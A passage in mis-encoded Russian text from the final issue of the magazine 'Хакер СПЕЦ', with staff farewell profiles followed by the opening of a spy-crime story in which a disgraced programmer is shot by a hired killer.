ìîáèëÿ, óâëå÷üñÿ ÷ðå-
âîóãîäèåì è æåíñêîé
ïñèõîëîãèåé (íàäåþñü,
â ïðàêòè÷åñêîì àñïåê-
òå äàííîãî òåðìèíà?
Íó, õîðîøî ÷òî õîòü 
íå æåíñêîé ôèçèîëîãè-
åé :) � ïðèì. ñàìè çíà-
åòå êîãî).

7
Ñåðãåé ÍÍèêèòèí 
âûïóñêàþùèé 
ðåäàêòîð

Ïðèäÿ â «ÑÏÅÖ» òðè
íîìåðà íàçàä, ÿ îáíà-
ðóæèë äðóæíóþ è îïûò-
íóþ êîìàíäó, êîòîðàÿ
óæå äàâíî äåëàåò æóð-
íàë. Òî÷íåå, äåëàëà,
òàê êàê ýòîò íîìåð �
ïîñëåäíèé. Ïî ìåðå
ñâîèõ ñêðîìíûõ ñèë è
âîçìîæíîñòåé ÿ ñòà-
ðàëñÿ áûòü õîðîøèì
âûïðåäîì, êîòîðûé êî-
îðäèíèðóåò âñþ ðàáîòó
ðåäàêöèè, ïðîâåðÿåò
âñå è â ëþáîé ìîìåíò

ìîæåò îòâåòèòü íà ëþ-
áîé âîïðîñ ïî ïîâîäó
ïðîöåññà ñäà÷è. Íàäå-
þñü, ÷òî ïÿòü çàêîí÷åí-
íûõ êóðñîâ æóðôàêà
ïîìîãóò ìíå õîðîøî
äåëàòü «ÈÒ-Ñïåö».

Îáåùàþ, ÷òî îí
áóäåò âûõîäèòü âîâðåìÿ,
íå áóäåò ñîäåðæàòü îøè-
áîê, à ðàçäåë ïî òåñòè-
ðîâàíèþ «æåëåçà» (êî-
òîðûé áóäó âåñòè ÿ) ñòà-
íåò ñàìûì ëó÷øèì è
èíòåðåñíûì â èçäàíèè!

8
Èâàí ÂÂàñèí && 
Íàòàëüÿ ÆÆóêîâà
àðò-êêîìàíäà

Âîò è çàêîí÷èëñÿ ìàðà-
ôîí, êîòîðûé ìû ñòàð-
òîâàëè íåìíîãèì áîëåå
ãîäà íàçàä. Âñåãî 15
æóðíàëîâ è âñåãî 15
ìåñÿöåâ ñ òîãî ìîìåí-
òà, êàê íàñ ïðèãëàñèëè
â «ÑÏÅÖ». Íàì êàæåò-
ñÿ, ÷òî æóðíàë âûðîñ,
âûðîñëè è ìû. ×òî-òî
óñïåëè ñäåëàòü çà ýòîò
ïåðèîä, ÷òî-òî íåò. Êî-
íå÷íî, õîòåëîñü ñäå-
ëàòü íàìíîãî áîëüøå.
Òåïåðü æå íàñòóïèë òîò

ýòàï, êîãäà «ÑÏÅÖ»
äîëæåí ñòóïèòü íà íî-
âûé  óðîâåíü. Äëÿ íàñ
æå ýòî ïîäõîäÿùèé ìî-
ìåíò ïîêèíóòü æóðíàë, è
äàòü âîçìîæíîñòü êîìó-
òî åùå âäîõíóòü â íåãî
íîâûé ñìûñë, íîâóþ
æèçíü, íîâóþ äóøó...

Õîòèì ïîæåëàòü
äåéñòâóþùåé êîìàíäå
ïðîôåññèîíàëüíîãî è
òâîð÷åñêîãî ðîñòà, à
íàøåé ñìåíå � íåïî-
êîëåáèìîé âûäåðæêè!

2
Àíäðåé ÊÊàðàìíîâ 
âåðñòàëüùèê

Ïîäâÿçàëñÿ âåðñòàëü-
ùèêîì â «Õàêåð ÑÏÅÖ»
ëåòîì 2006 ãîäà, äî
ýòîãî ñîòðóäíè÷àë ñ
ðàçëè÷íûìè èçäàòåëüñ-
êèìè äîìàìè, âûïîëíÿÿ
àíàëîãè÷íóþ ðàáîòó. 

Æóðíàë çàèíòåðå-
ñîâàë ïðåæäå âñåãî
íåñòàíäàðòíûì ïîäõî-
äîì ê âûáîðó òåì â íî-
ìåð, îðèãèíàëüíûì èõ
èñïîëíåíèåì â ëèöå
íàøèõ äèçàéíåðîâ è,
êîíå÷íî æå, óíèêàëü-

íîé òâîð÷åñêîé àòìîñ-
ôåðîé âî âðåìÿ ñäà÷è
íîìåðà â ïå÷àòü :-)
(î÷åíü òàêòè÷íî ñêàçà-
íî :) � ïðèì. Dr.). Öåíþ
îòâåòñòâåííûé è çàèí-
òåðåñîâàííûé ïîäõîä
êî âñåìó, çà ÷òî áå-
ðåøüñÿ; íå ïðèåìëþ
òàêèå ÷åëîâå÷åñêèå êà-
÷åñòâà, êàê ãëóïîñòü è
ëåíü. Õîááè: ýêñòðå-
ìàëüíàÿ ìóçûêà (òðó
ìèòîëëèñò! � ïðèì.
Dr.), ëèòåðàòóðà. 

3
Àëåêñàíäð ÊÊèñåëåâ
öâåòîêîððåêòîð

Âñå ÷òî èìååò 
íà÷àëî, èìååò è ñâîé
ëîãè÷åñêèé êîíåö! 
Âîò è íàñòàë êîíåö äëÿ
æóðíàëà «Õàêåð
ÑÏÅÖ»! 

Íó ÷òî, äóìàþ,
ïîõîðîí ïðîâîäèòü íå
áóäåì, à òîëüêî ñòà-
íåì âñïîìèíàòü õîðî-
øåå, à åãî áûëî íàì-
íîãî áîëüøå ÷åì îòðè-
öàòåëüíîãî. 

Ñïè ñïîêîéíî,
íàø «Õàêåð ÑÏÅÖ»!

4
Íàñòÿ ÃÃëóõîâà
ëèòåðàòóðíûé ððåäàêòîð

Ñàìàÿ «ãðàìîòíàÿ» â
æóðíàëå =). Ðåäàêòèðóþ
ÑÏÅÖ ñ èþíÿ 2006, ïà-
ðàëëåëüíî ó÷óñü â Ïî-
ëèãðàôå è ðàáîòàþ â
Öåíòðå ñîâðåìåííîãî
èñêóññòâà. ß â âîñòîðãå
îò êîìàíäû, äåëàþùåé
æóðíàë � âñå î÷åíü
ýíåðãè÷íûå, âåñåëûå è
òâîð÷åñêèå ëþäè. Îò-
äåëüíûé ðåñïåêò àâòî-
ðàì, îñîáåííî Êðèñó
Êàñïåðñêè: åãî «Ïîòîê
ñîçíàíèÿ» � ïðîñòî õèò!

5
Àíäðåé ÊÊàðîëèê 
ðåäàêòîð

Â êîìàíäå æóðíàëà
«Õàêåð ÑÏÅÖ» ñ 2003
ãîäà, äî ýòîãî óñïåë
íàïèñàòü áîëåå ñòà
ñòàòåé â «Õàêåð» è
«Õàêåð ÑÏÅÖ», òàê ÷òî
ïðåêðàñíî çíàåò âñå
ïîòåíöèàëüíûå ïðîáëå-
ìû, êîòîðûå ìîãóò âîç-
íèêíóòü ó àâòîðîâ âî
âðåìÿ ïîäãîòîâêè ìà-
òåðèàëà. Ëþáèò ñâîþ
ðàáîòó ïðåæäå âñåãî
èç-çà âîçìîæíîñòè îá-
ùàòüñÿ ñ ëþäüìè, ñ êî-

òîðûìè çíàêîìèòñÿ â
ïðîöåññå ïîèñêà íîâûõ
àâòîðîâ è ýêñïåðòîâ.
Ñ÷èòàåò, ÷òî íåò íè÷å-
ãî íåâîçìîæíîãî, ïðîñ-
òî âñå â èòîãå óïèðàåò-
ñÿ â ðåñóðñû. Áîëüøå
âñåãî íå ëþáèò íåïðî-
ôåññèîíàëèçì â ðàáî-
òå. Öåíèò íàäåæíîñòü è
ñâîåâðåìåííîñòü. Õîá-
áè � áåãîâûå ðîëèêî-
âûå êîíüêè, êàïèòàí
êîìàíäû Force Team
(www.forceteam.ru).
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ÏÓËß ÄËß ÃÅÍÈß
ÍÀ ËÓÊÎÂÍÈÊÎÂÀ ÏÎÃÎÍÛ ÃÅÍÅÐÀËÀ ÂÑÅÃÄÀ 
ÏÐÎÈÇÂÎÄÈËÈ ÑÈËÜÍÎÅ ÂÏÅ×ÀÒËÅÍÈÅ.
N I R O  ( N I R O @ R E A L . X A K E P . R U ,
W W W . N I R O - D E - R O B E R T . L I V E J O U R N A L . C O M )
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Îíè åãî ïðàêòè÷åñêè ãèïíîòèçèðîâàëè � íàñòîëüêî ìàíÿùèì áûë èõ
áëåñê, ñòîëüêî íåèçâåäàííîãî è íåäîñòóïíîãî òàèëè îíè çà ñîáîé, ÷òî
ãëàçà îòîðâàòü îò íèõ áûëî ïðàêòè÷åñêè íåâîçìîæíî.

Îí ñòîÿë íàâûòÿæêó ïåðåä ãåíåðàëüñêèì ñòîëîì èç êðàñíîãî äå-
ðåâà, ïîåäàë ãëàçàìè òî ïîãîíû, òî ïîðòðåòû ïðåçèäåíòà è ìèíèñòðà
îáîðîíû íàä ãîëîâîé è æäàë î÷åðåäíîãî âûãîâîðà ñ íåâîîáðàçèìîé
ïðåäàííîñòüþ.
� Íó ÷òî, ×èïïîëèíî, � ñêâîçü çóáû ïðîöåäèë ãåíåðàë. � Ðåçóëüòàò
áóäåò åùå ïðè ìîåé æèçíè � èëè óæå ïîòîì?

Ëóêîâíèêîâ (â ìèðó ãåíåðàëèòåòà ×èïïîëèíî) øìûãíóë íîñîì
ñîâñåì íå ïî óñòàâó è êèâíóë:
� Áóäåò. Ïðè âàøåé. Ñêîðî, òîâàðèù ãåíåðàë-ëåéòåíàíò. Ñðîêè åùå
íå âûøëè�
� Íî óæå ïîäõîäÿò, � ãåíåðàë âñòàë, ïðîøåëñÿ âäîëü ñòåíû ïîä ïîðò-
ðåòàìè ñâîèõ ðóêîâîäèòåëåé è íà÷àëüíèêîâ. � Ïîäõîäÿò. È ñåé÷àñ íå
âðåìåíà êîììóíèñòè÷åñêîé ïàðòèè � êîãäà ìîæíî áûëî ëîçóíãàìè
ñîðèòü ãîäàìè è òàê íè÷åãî è íå ñäåëàòü�
� Òàê òî÷íî, òîâàðèù ãåíåðàë-ëåéòåíàíò, � Ëóêîâíèêîâ òåðåáèë êîí-
÷èêàìè ïàëüöåâ øòàíèíû, ñòàðàÿñü äåëàòü ýòî òàê, ÷òîáû êîìàíäóþ-
ùèé íå çàìå÷àë. � Ó ìåíÿ� Ó ìîåé ãðóïïû åñòü åùå äâå íåäåëè� Òî
åñòü òðè, íî âû ïðèêàçàëè ñîêðàòèòü�
� Ïðèêàçàë! � êðèêíóë ãåíåðàë. � È ñíîâà ïðèêàæó! Ðåçóëüòàò ìíå íà
ñòîë ÷åðåç ÷åòûðíàäöàòü äíåé! Óñêîðüòå ïðîöåññ ëþáûìè ñðåäñòâàìè!

Îí îñòàíîâèëñÿ â äàëüíåì óãëó êàáèíåòà, ïîñìîòðåë êóäà-òî
â ñòîðîíó è ïðîèçíåñ:
� Öåëü îïðàâäûâàåò ñðåäñòâà. Âû ìåíÿ ïîíÿëè?

Ëóêîâíèêîâ çàìåð è äàæå ïðåêðàòèë èçäåâàòüñÿ íàä ôîðìåííû-
ìè áðþêàìè. Ãåíåðàë ïîñìîòðåë íà íåãî òÿæåëûì âçãëÿäîì èç-ïîä
áðåæíåâñêèõ áðîâåé:
� Íå ñëûøó�
� Òàê òî÷íî, ïîíÿë! � êîçûðíóë Ëóêîâíèêîâ.
� Ê ïóñòîé ãîëîâå ðóêó íå ïðèêëàäûâàþò, � ïîìîðùèëñÿ ãåíåðàë, è Ëó-
êîâíèêîâ âñïîìíèë, ÷òî îñòàâèë ôóðàæêó ó àäúþòàíòà çà äâåðüþ. � ×èï-
ïîëèíî� Êòî òàì â ðàçðàáîòêå? Ôàìèëèÿ ó îäíîãî çàïîìèíàþùàÿñÿ�
� Àëìàçîâ, òîâàðèù ãåíåðàë-ëåéòåíàíò, � íàïîìíèë Ëóêîâíèêîâ. �
È Ðûêîâ.
� Êòî èç íèõ ïðèîðèòåòíåå?
� Â íàñòîÿùèé ìîìåíò öåííîñòü Àëìàçîâà íå âûçûâàåò ñîìíåíèé�
� Ëóêîâíèêîâ ïîíÿë, ÷òî áåñåäà ïåðåøëà â áîëåå ñïîêîéíîå ðóñëî. �
Çàäàíèÿ ïîëó÷åíû, äåíüãè�
� Ñïèñàë óæå? Ñìîòðè, óçíàþ, ÷òî ãàðàæ ñòðîèøü íà êàçåííûå � ðàñ-
ñòðåëÿþ.
� Îò÷èòàþñü çà êàæäûé ðóáëü, � îáèæåííûì òîíîì îòâåòèë Ëóêîâíè-
êîâ. � Âû æå ìåíÿ çíàåòå.

� Ïîòîìó è íàïîìèíàþ, � ãåíåðàë çàêóðèë, âûïóñòèë îáëàêî äûìà
â ñòîðîíó. � Êîîðäèíàòîð òîëêîâûé?

Ëóêîâíèêîâ ïîæàë ïëå÷àìè.
� Äà âðîäå íîðìàëüíûé. Íî îò íåãî ìàëî ÷åãî çàâèñèò� Ãëàâíîå �
÷òî ñäåëàþò Àëìàçîâ è åãî íàïàðíèê.
� Ôèãóðàíòîâ óæå ÷åì-íèáóäü çàöåïèëè?
� Äà. Íî ñ Ðûêîâûì ñëîæíåå� � Ëóêîâíèêîâ ïîêà÷àë ãîëîâîé. �
Ñ íèì ïðèäåòñÿ îáùàòüñÿ î÷åíü æåñòêî.
� Òàê îáùàéòåñü, � ãåíåðàë ñäåëàë åùå ïàðó çàòÿæåê, çàòóøèë íå
âûêóðåííóþ è äî ïîëîâèíû ñèãàðåòó, ñîêðóøåííî âçäîõíóë. � Âðà÷è
çàïðåùàþò. À ïîðîé õî÷åòñÿ � àæ äî ñëåç� Òû ìíå äàé ðåçóëüòàò!
È íå ñìîòðè íà ìîè ïîãîíû. Ñäåëàåøü ðàáîòó � ïðåäñòàâëþ íà ïîë-
êîâíèêà. À òàì óæå ñàì êðóòèñü, êàê óìååøü.

Ëóêîâíèêîâ ïðèùåëêíóë êàáëóêàìè, âûòÿíóëñÿ â ñòðóíó è åäâà
ëè íå êðèêíóë:
� Ðàçðåøèòå âûïîëíÿòü?

Ãåíåðàë ìàõíóë ðóêîé:
� Âàëÿé�

Áóäóùèé ïîëêîâíèê âûøåë èç êàáèíåòà, ïðèêðûë äâåðü è âûòåð
ïîò ñî ëáà. Àäúþòàíò ñìîòðåë íà íåãî ñ ïëîõî ñêðûâàåìîé óñìåøêîé.
� Êðóò áàòÿ ñåãîäíÿ? � ñïðîñèë îí ó Ëóêîâíèêîâà.
� Äà óæ� � êèâíóë òîò â îòâåò. � Íî è ìû íå ëûêîì øèòû.

Îí íàäåë ôóðàæêó, âûðîâíÿë åå, ïîïðàâèë ðåìåíü è âûøåë èç
ïðèåìíîé.

* * * * *
Æäàòü íàäî áûëî åùå ïðèìåðíî ïîë÷àñà. Ëóêèí ïîùåëêàë êíîïêàìè
ïóëüòà, ïðîáåæàëñÿ ãëàçàìè ïî íîâîñòÿì, êàêîìó-òî ôèëüìó, ñìå-
íèë âñå ýòî íà áèàòëîí, íî íàøè äàìû ñ âèíòîâêàìè òàùèëèñü â êîí-
öå îñíîâíîé ãðóïïû, íå ïðåòåíäóÿ íè íà êàêèå ìåäàëè, â ðåçóëüòàòå
÷åãî ÷åðåç íåñêîëüêî ìèíóò îí îêàçàëñÿ óæå íà ìóçûêàëüíîì êàíà-
ëå, êîèõ â ïîñëåäíåå âðåìÿ ÷òî-òî óæ î÷åíü ìíîãî ðàçâåëîñü � êëè-
ïû áûëè äîâîëüíî ïðèëè÷íûìè, ìóçûêà öåïëÿëà, ôèãóðèñòûå äåâ-
÷îíêè ñàäèëèñü íà øïàãàò, ïàðíè ñ íàêîëêàìè áðåäèëè íåêèì ïîäî-
áèåì ðýïà, Ëóêèí áðîñèë ïóëüò íà äèâàí è ðåøèë îñòàâèòü ýòî çâó-
êîâîå ñîïðîâîæäåíèå.
� Áóäåì íàäåÿòüñÿ, ÷òî ëþäè îíè ïóíêòóàëüíûå è íå ïåðåñåêóòñÿ ó ìå-
íÿ ïîä äâåðüìè, � ïîêà÷èâàÿ ãîëîâîé â òàêò ìóçûêå, ñêàçàë îí â òåëå-
âèçîð. � Õîòÿ íèêàê íå âîçüìó â òîëê � ÷òî â ýòîì ïëîõîãî? Íó, óâè-
äèò îäèí äðóãîãî � ÷òî ýòî èçìåíèò? Ïðàâäà, ìèíèìóì èíôîðìàöèè
� ìàêñèìóì çàùèùåííîñòè, òàê, êàæåòñÿ, ãîâîðèë çàêàç÷èê? Ñëèø-
êîì ñëîæíàÿ äëÿ ïîíèìàíèÿ ôðàçà�

Îí âñòàë, âåðíóëñÿ çà êîìïüþòåð è ïåðå÷èòàë ïîñëåäíåå ïèñüìî,
ïðèøåäøåå â÷åðà âå÷åðîì:
� «Óòðîì æäèòå Ðûêîâà â äåñÿòü ÷àñîâ. Ãîíîðàð ïåðåäàäèòå ñðàçó.
Àëìàçîâ ïðèäåò ÷åðåç ñîðîê ìèíóò. Åìó âû íè÷åãî íå äîëæíû, ñ íèì
ðàññ÷èòàëèñü óæå äàâíî è ñîâåðøåííî äðóãèì ñïîñîáîì. Êîãäà ïðèìå-
òå èñõîäíèêè, îáðàùàéòåñü ê èíñòðóêòîðó. ICQ 444115686. Îí âñå âðå-
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ìÿ îíëàéí, æäåò âàñ. Ñóòü äåëà îí èçëîæèò. Îñòàëüíîå � çà âàìè. Ñðîê �
÷åòûðå äíÿ». Êàê âñåãäà, áåç ïîäïèñè�

Êðåñëî ñêðèïíóëî ïîä íèì � æàëîáíî è êàê-òî ðàçî÷àðîâàííî, ñëîâíî
îò íàëè÷èÿ ïîäïèñè â ïèñüìå çàâèñåëî åãî ñóùåñòâîâàíèå. Ëóêèí êðóòíóëñÿ
òóäà-ñþäà, íå ñâîäÿ ãëàç ñ ýêðàíà.
� Îñòàëîñü âîñåìíàäöàòü ìèíóò� Ïðèäåò Ðûêîâ� ×òî çà Ðûêîâ? Êàê ÿ óç-
íàþ, ÷òî îí � ýòî îí? Ïàñïîðò ïîïðîñèòü? Èëè îí ñêàæåò: «Çäðàñüòå, ÿ Ðû-
êîâ, ìåíÿ òóò âñå çíàþò». Ãîíîðàð ýòîò åùå�

Êîíâåðò ñ äåíüãàìè îêàçàëñÿ ó íåãî â êâàðòèðå ñîâåðøåííî íåîæèäàí-
íî, ïî îáðàçó è ïîäîáèþ Èãîðÿ Êèî. Ïðîñòî ëåæàë ïîñðåäè êîðèäîðà, êîãäà
Ëóêèí äåñÿòü äíåé íàçàä ïðèøåë ñ ðàáîòû. Âíóòðè � äâå òûñÿ÷è ñòî äîëëà-
ðîâ è çàïèñêà. «Âàøè óñëóãè â î÷åðåäíîé ðàç î÷åíü ïîíàäîáèëèñü îäíîé
âëèÿòåëüíîé îðãàíèçàöèè� Íà äåíüãè íå îáðàùàéòå âíèìàíèÿ� Îíè ïðèãî-
äÿòñÿ â äàëüíåéøåì� Ñòî äîëëàðîâ � çà áåñïîêîéñòâî è ÷òîáû ñìåíèòü çà-
ìîê â äâåðè, åñëè âû ÷åãî-òî áîèòåñü� Êîãäà ïðèäåò ÷åëîâåê ïî ôàìèëèè
Ðûêîâ � îòäàäèòå åìó êîíâåðò ñ äåíüãàìè â îáìåí íà äèñê. Åùå îäèí äèñê
âàì ïåðåäàñò ÷åëîâåê, êîòîðûé ïðåäñòàâèòñÿ Àëìàçîâûì� Êàê òîëüêî íà
ðóêàõ ó âàñ îêàæåòñÿ èíôîðìàöèÿ � ñ âàìè ñâÿæóòñÿ è ïîñòàâÿò çàäà÷ó, êî-
òîðàÿ áóäåò îïëà÷åíà áîëåå ÷åì� Ìû áóäåì î÷åíü âàì áëàãîäàðíû çà ñîò-
ðóäíè÷åñòâî� Âàøè äðóçüÿ».

Çàìîê îí íå ïîìåíÿë. Ðåøèë, ÷òî ðàç îíè âîøëè ñþäà òàê ñâîáîäíî �
òî ÷òî ìåíÿé, ÷òî íå ìåíÿé, îäíî ðàçîðåíèå. Âðîäå íè÷åãî íå âçÿëè� Äåíüãè
îí ñïðÿòàë â øêàô, ïåðåëîæèâ ïðè÷èòàþùóþñÿ åìó ñîòíþ â êàðìàí ïèäæà-

êà � îíà ñóìåëà íà íåñêîëüêî äíåé ïîïðàâèòü åãî ïîøàòíóâøååñÿ ôèíàíñî-
âîå ïîëîæåíèå. È âñå îñòàâøååñÿ äî ïðèõîäà ãîñòåé âðåìÿ äóìàë î òîì, ÷òî
æå òàêîãî îí äîëæåí áóäåò ñäåëàòü è ñêîëüêî ýòî ÷òî-òî áóäåò ñòîèòü�

Êîíå÷íî, îí ïîíèìàë, ÷òî íèêòî íå ïîïðîñèò åãî ñäåëàòü åâðîðåìîíò
èëè ïåðåáðàòü äâèãàòåëü «Áåíòëè». Îí íè÷åãî íå ñîîáðàæàë íè â ïåðâîì, íè
âî âòîðîì. Íî âîò êàêèå óñëóãè ìîæåò îêàçàòü ïðîãðàììèñò, óâîëåííûé èç
ñåðüåçíîé êîíòîðû, çàíèìàþùåéñÿ îáåñïå÷åíèåì áåçîïàñíîñòè � ïðè÷åì
óâîëåííûé ïî î÷åíü è î÷åíü âåñêîé ïðè÷èíå� Òóò îøèáêè áûòü íå ìîãëî. Îí
óæå âûïîëíÿë òàêèå àíîíèìíûå çàäàíèÿ íåñêîëüêî ðàç çà ïîñëåäíèå òðè ãî-
äà. È êàæäûé ðàç ãîíîðàð áûë áîëåå ÷åì âûñîê, à òå, êòî èñïîëüçîâàë åãî,
ïî-ïðåæíåìó îñòàâàëèñü â òåíè.

Îí ïîíèìàë, ÷òî ëþäè åãî òèïà � íå îáÿçàòåëüíî ïðîãðàììèñòû, à âî-
îáùå, ëþäè, õîðîøî óìåþùèå äåëàòü ñâîþ ðàáîòó � áûñòðî îêàçûâàþòñÿ
â ïîëå çðåíèÿ «âëèÿòåëüíûõ îðãàíèçàöèé», êàê òîëüêî èõ óñëóãè ïåðåñòàþò
áûòü íóæíûìè ðîäíîìó ãîñóäàðñòâó. Óøåë îí èç êîíòîðû ÷åòûðå ãîäà íàçàä.
Óøåë ñ øóìîì. Ñ òðóäîì ïîëó÷èë ðàñ÷åò � õîòÿ ãðîçèëè âìåñòî äåíåã ïóëþ
â ëîá� Êîíå÷íî, îíè áûëè ïðàâû. Àáñîëþòíî. Îí íàðóøèë çàêîí. Ïðîäàë èñ-
õîäíûé êîä î÷åíü ñåêðåòíîãî ïðîäóêòà. Ïðîñòî îíè íå çíàëè, ÷òî Ëóêèí ïîëó-
÷èë çà ýòî äåíüãè � óäàëîñü îáñòàâèòü ýòî êàê ñâîþ õàëàòíîñòü, íî áåç ïðåñ-
òóïíîãî óìûñëà. Óùåðá áûë âåëèê � íèêòî äàæå íå ïûòàëñÿ ïîäñ÷èòàòü. Êòî
åãî âû÷èñëèë, Ëóêèí íå çíàë è ïî ñåé äåíü � íî âñåãäà ïîíèìàë, ÷òî ðàáîòà-
åò ñðåäè ëþäåé, êîòîðûå íè÷óòü íå ãëóïåå åãî. Êòî ñóìåë îòñëåäèòü, ïîíÿòü,
ïðåäóãàäàòü, âû÷èñëèòü� Íî îí óñïåë ïåðåäàòü êîä. Óñïåë ïîëó÷èòü ãîíî-



ðàð. Íàáðàë êðåäèòîâ, êóïèë ïëàçìåííûé òåëåâèçîð, ìîùíûé êîìïüþ-
òåð, íåìíîãî ìåáåëè � è êîãäà îñòàëñÿ áåç äåíåã, åãî óâîëèëè.

Êàêèì-òî îáðàçîì îí ïðîäåðæàëñÿ íåñêîëüêî ìåñÿöåâ. Âûðó÷à-
ëè äðóçüÿ, îäèí ðàç ñ êðåäèòîì ïîìîã îòåö, íî ïåíñèÿ áûëà íåâåëè-
êà, ÷òîáû ðàññ÷èòûâàòü íà íåå åùå ðàç â áëèæàéøèå ïîëãîäà. Ïû-
òàëñÿ óñòðîèòüñÿ íà ðàáîòó � è âåçäå åãî îæèäàëè îòêàçû. Ïðåñëî-
âóòûé «÷åðíûé ñïèñîê». Îí äåéñòâîâàë çàìå÷àòåëüíî, ôàìèëèÿ «Ëó-
êèí» îòïóãèâàëà âñåõ, íà äâåðü óêàçûâàëè ñ çàâèäíûì ïîñòîÿíñòâîì.
Îí äàæå ïûòàëñÿ íà÷àòü ïèòü � íàñòîëüêî çàöåïèëà åãî ýòà æèçíåí-
íàÿ ïóñòîòà; íî è òóò íå âûøëî. Ïå÷åíü, ñëàáàÿ ñ äåòñòâà, íå ïîçâî-
ëèëà ïðåâðàòèòüñÿ â àëêîãîëèêà � è òðåõäíåâíûé çàïîé ñòàë ïåð-
âûì è ïîñëåäíèì â åãî æèçíè.

È âîò êîãäà îí óæå ñîâñåì ïîòåðÿë âñÿêóþ íàäåæäó è ïðèíÿëñÿ
îáõîäèòü áëèæàéøèå àâòîñòîÿíêè â íàäåæäå ïðåâðàòèòüñÿ â ñòîðîæà
ñ âûñøèì îáðàçîâàíèåì � â åãî êâàðòèðå îêàçàëñÿ êîíâåðò ñ äåíüãà-
ìè è ïðåäëîæåíèåì ïîðàáîòàòü íà êîãî-òî. Ïîòîì îí íàõîäèë òàêèå
êîíâåðòû åùå òðè ðàçà�

Ëóêèí ïðîøåëñÿ ïî êâàðòèðå, íàâîäÿ ïîðÿäîê, ðàñêëàäûâàÿ êíèãè,
ãàçåòû, ïî ïóòè âûòðÿõíóë ïåïåëüíèöó â ñòàðóþ ãàçåòó, îãëÿäåë âñå îöå-
íèâàþùèì âçãëÿäîì, ñìÿë â ðóêå êóëåê ñ ïåïëîì è íàïðàâèëñÿ íà êóõíþ.

Êîãäà îí ïðîõîäèë ïî êîðèäîðó ìèìî äâåðè, ðàçäàëñÿ ñòóê â äâåðü.
Ëóêèí çàìåð è ìåäëåííî ïîâåðíóëñÿ íà çâóê. Åãî óäèâèëî òî, ÷òî

ãîñòü ïîñòó÷àëñÿ � çâîíîê ðàáîòàë èñïðàâíî, ïðåòåíçèé ê íåìó íå áû-
ëî óæå ìíîãî ëåò. Ñäåëàâ ïàðó øàãîâ ê äâåðè, îí óñïåë ïåðåäóìàòü òû-
ñÿ÷ó âàðèàíòîâ âñòðå÷è ñ ïåðâûì ãîñòåì, íî âäðóã âñïîìíèë, ÷òî ðîâ-
íî áåç ïÿòè äåñÿòü äîëæåí áûë ñðàáîòàòü áóäèëüíèê � íî òîò ìîë-
÷àë� Çíà÷èò, Ðûêîâ ïðèøåë ðàíüøå.

Ýòîò ñëó÷àé îíè ñ çàêàç÷èêîì íå îáãîâàðèâàëè. Ïðàâäà, íè÷åãî
ñòðàííîãî è îïàñíîãî â ýòîì íå áûëî � ïîäóìàåøü, ïåðåâîëíîâàëñÿ,
íå ñóìåë ðàñïëàíèðîâàòü âðåìÿ, ïðèøåë è íå ñòàë ìÿòüñÿ ïîä äâåðüþ,
ãëÿäÿ íà ÷àñû, à ñðàçó ñòóêíóë � íåòåðïåëèâî, íàñòîé÷èâî. Ëóêèí,
ïðîäîëæàÿ ñæèìàòü â ðóêó êóëåê, ïàõíóùèé òàáàêîì è äûìîì, ïîäî-
øåë ê äâåðè è ùåëêíóë çàìêîì.

Åìó ïîêàçàëîñü, ÷òî äâåðü îòêðûëàñü ñàìà. Ïîõîæå, ÷åëîâåê íà
ïëîùàäêå æäàë çâóêà ùåêîëäû � ñòâîðêà ñðàçó ïîøëà âïåðåä, Ëóêèí
óâèäåë ÷åëîâåêà â äæèíñîâîì êîñòþìå. Ðóêè ãîñòü äåðæàë çà ñïèíîé,
ãëàçà ïðèñòàëüíî ñìîòðåëè íà õîçÿèíà.
� Âû Ðûêîâ? � ñïðîñèë Ëóêèí, îòêðûâ äâåðü íàñòîëüêî, ÷òîáû 
âïóñòèòü ãîñòÿ.

Â îòâåò ÷åëîâåê âûòàùèë èç-çà ñïèíû ïèñòîëåò è äâàæäû âûñò-
ðåëèë õîçÿèíó â ãðóäü�

Ëóêèí, îòáðîøåííûé ïóëÿìè íà ïðîòèâîïîëîæíóþ ñòåíó êîðèäîðà,
ìåäëåííî ñïîëçàë íà ïîë, ïûòàÿñü ñîïðîòèâëÿòüñÿ ñèëå òÿæåñòè, è ðâàë-
ñÿ ââåðõ ñëàáåþùèìè ðóêàìè è íîãàìè. Ðóáàøêà íàáóõàëà êðîâüþ, îí
òÿæåëî è øóìíî äûøàë, ãëàçà øàðèëè âîêðóã ñåáÿ, íè÷åãî íå âèäÿ è íå
çàìå÷àÿ, êàê ñòðåëîê âîøåë âíóòðü, îãëÿäåëñÿ ïî ñòîðîíàì, ïíóë â ñòî-
ðîíó ðàñêðûâøèéñÿ êóëåê ñ îêóðêàìè è òèõî çàòâîðèë çà ñîáîé äâåðü.
� ×òî� Êòî?.. � ïûòàëñÿ çàäàòü âîïðîñ Ëóêèí, íî ñèëû ïîêèäàëè åãî.
×åëîâåê íàãíóëñÿ íàä óìèðàþùèì, ñëîâíî ïûòàÿñü óñëûøàòü ïîñëåäíèå
ñëîâà, ïîòîì âûïðÿìèëñÿ, ïðîøåë ïî êîìíàòàì, ÷òîáû óáåäèòüñÿ, ÷òî
áîëüøå íèêîãî íåò. Êîãäà îí âåðíóëñÿ â êîðèäîð, Ëóêèí óæå áûë ìåðòâ.

Êèëëåð äîñòàë èç êàðìàíà òåëåôîí, ñäåëàë çâîíîê.
� Èñïîëíåíî. Êàêèå áóäóò äàëüíåéøèå óêàçàíèÿ?

Òðóáêà ïðîèíñòðóêòèðîâàëà åãî íà ïðåäìåò äàëüíåéøèõ äåéñòâèé.
� Ïîíÿë� Äâåðü íå çàêðûâàþ� � êèëëåð çàêîí÷èë ðàçãîâîð è âû-
øåë, îñòàâèâ âõîäíóþ äâåðü íåìíîãî ïðèîòêðûòîé. Êîãäà ÷åðåç ïÿò-
íàäöàòü ìèíóò ñþäà ïðèì÷àëñÿ îïîçäàâøèé èç-çà òîë÷åè â ìåòðî Ðû-
êîâ, çàïàõ ïîðîõà ñ ïëîùàäêè ïðàêòè÷åñêè âûâåòðèëñÿ�

* * * * *
×èòàÿ ñ ýêðàíà, îí îò÷åòëèâî øåâåëèë ãóáàìè, ïðîèçíîñÿ ïî÷òè âñå
øåïîòîì:
� «�æäèòå Ðûêîâà â äåñÿòü ÷àñîâ. Ãîíîðàð ïåðåäàäèòå ñðàçó. Àëìà-
çîâ ïðèäåò ÷åðåç ñîðîê ìèíóò�. Êîãäà ïðèìåòå èñõîäíèêè, îáðàùàé-
òåñü ê èíñòðóêòîðó. ICQ 444115686� Ñóòü äåëà îí èçëîæèò. Ñðîê �
÷åòûðå äíÿ�».

